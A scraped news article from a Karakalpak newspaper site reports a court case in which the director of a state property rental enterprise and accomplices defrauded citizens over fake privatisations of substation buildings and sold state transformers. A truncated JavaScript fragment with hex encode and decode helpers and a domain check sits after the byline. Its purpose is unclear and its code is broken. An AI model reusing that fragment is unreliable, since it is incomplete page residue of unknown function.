Еркин Қарақалпақстан Вести Каракалпакстана 22:31:05, 11.11.2019
Хош келипсиз! | RSS
Сайт мазмуны

Кириў усылы

МӘМЛЕКЕТ МҮЛКИНЕ АЎЫЗ САЛЫП...

«Нәпси деген бәледур, түрли жолға саладур» деген ибараны ўақты-ўақты ислетиўге мәжбүр боламыз. Қолымыздағы суд ҳүкими менен танысып отырып, бул ибараны және бир мәрте ислеткимиз келип отыр.

Ҳақыйқатында ҳәрқандай жуўапкерли лаўазымға қойылған инсаннан үлкен жуўапкершилик талап етиледи. Биринши гезекте жәмәәттиң аўызбиршилигин сақлап истиң өнимдарлығына ерисиў, мәмлекет мүлкин қорғаў, қәнәатшил болып, барына шүкиршилик етиўге шақырады.

 

Тилекке қарсы, айырым қулқынына күши жетпеген, нәпсин тыя алмаған заманласларымыздың да бирең-сараң ушырасып туратуғынлығы өкинишли жағдай, әлбетте.

Суд мәжилисинде анықланыўынша, 1971-жылы Шымбай қаласында туўылған Джумамуратов Саламат Парахатович Қарақалпақстан Республикасы мәмлекет мүлкин ижараға бериў орайы мәмлекетлик унитар кәрханасы (МУК) директоры лаўазымында ислеп жүрип, 2013-жылдың жаз айларында пуқара Шәрипова Эльмираның исенимине кирип, кәрхана балансындағы, пайтахтымыздағы Ерназар Алакөз көшеси бойында жайласқан 2-санлы подстанция имаратын алдын-ала ижара шәртнамасы тийкарында бериў ҳәм кейин ала алды-сатты шәртнама менен меншиклестирип беремен деп алдаўшылық жолы менен бөлип-бөлип жәми 55 миллион сум пулларын алған.

Буннан тысқары, С.Джумамуратов МУК хатлаў бөлими баслығы лаўазымында ислеген, 1979-жыл Тақыятас қаласында туўылған Матжанов Якубжан Уринбаевич пенен жынайый тил бириктирип, пуқара Мун Римма Андреевнаның да алдынғыдай тақылетте исенимине кирип, Нөкис қаласы 22-киши район аймағында жайласқан 3-санлы подстанция имаратын меншиклестирип беремен деп алдаўшылық жолы менен 26 миллион сум пулларын биргеликте қолға киргизген. Және де екеўи Нөкис қаласы абаданластырыў басқармасынан кәрхана есабына өткерилген пайтахтымызда жайласқан 2, 3, 4-санлы подстанция ишиндеги жәми 6 дана трансформаторларды 32 миллион сумға сатып, исенип тапсырылған мүлклерди талан-тараж еткен. Сондай-ақ, С.Джумамуратов 2014-жылдың ақырында Баҳадыр Ерназаров пенен жынайый тил бириктирип, Шымбай районы Гагарин көшесинде жайласқан 18-санлы балалар бақшасының гөне имараты бузылыўға түскенлиги себепли бул имаратты ҳәм оның жер орнын Байрамбай Қаллибеков деген пуқараға рәсмийлестирип бериў есесине 18 миллион сум пулларын алып, өз мәплерине жумсаған. Буннан басқа да Я.Матжанов пенен бир қатар имаратларды ижараға бериў шәртнамаларға қәлбеки мағлыўматлар киргизип, Нөкис қалалық жер дүзиў ҳәм көшпес мүлк кадастр мәмлекетлик кәрханасына усынып, айырым фирмаларға рәсмийлестирип бергенлиги анықланды.

Қулласы, пидайы мийнет, ҳадал маңлай тер менен табылған дүнья жуғымлы келеди. Ал, нызамсыз жоллар менен арттырылған байлық мың қайнаса да өкпедей қалқып тура береди. Мәмлекет мүлкине аўыз салған бул «азаматлар» күни келип заң алдында жуўап берип, нызамлы жазаларын алды.

Б.ҚУРБАНОВ.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "erkinkarakalpak.uz"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

Излеў

Көп оқылған мақалалар

Сыбайлас сайтлар

Қарақалпақстан Республикасы Жоқарғы Кеңеси ҳәм Министрлер Кеңесиниң газеталары.
Қарақалпақстан баспасөз ҳәм хабар агентлигинде 2007-жыл 7-февральда дизимге алынған. Гүўалық № 01-001
Developed by TUIT NF